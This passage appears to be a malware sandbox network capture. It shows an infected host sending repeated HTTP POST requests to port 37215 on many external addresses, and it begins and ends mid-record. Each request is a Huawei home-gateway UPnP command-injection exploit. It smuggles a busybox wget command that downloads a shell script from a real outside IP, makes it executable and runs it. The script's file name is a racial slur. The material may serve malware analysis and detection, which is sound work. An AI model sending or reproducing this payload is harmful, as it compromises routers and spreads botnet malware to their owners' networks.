HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.15	53392	94.123.43.249	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:37:27.870683908 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.15	41830	94.120.146.110	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:37:27.870862007 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.15	42396	94.121.55.98	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:37:27.872694969 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.15	36500	94.122.225.214	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:37:27.874342918 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.15	44344	94.123.182.50	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:37:27.880769968 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.15	54584	31.136.68.54	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:37:28.048420906 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:28.609337091 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:29.697403908 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:32.065327883 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" 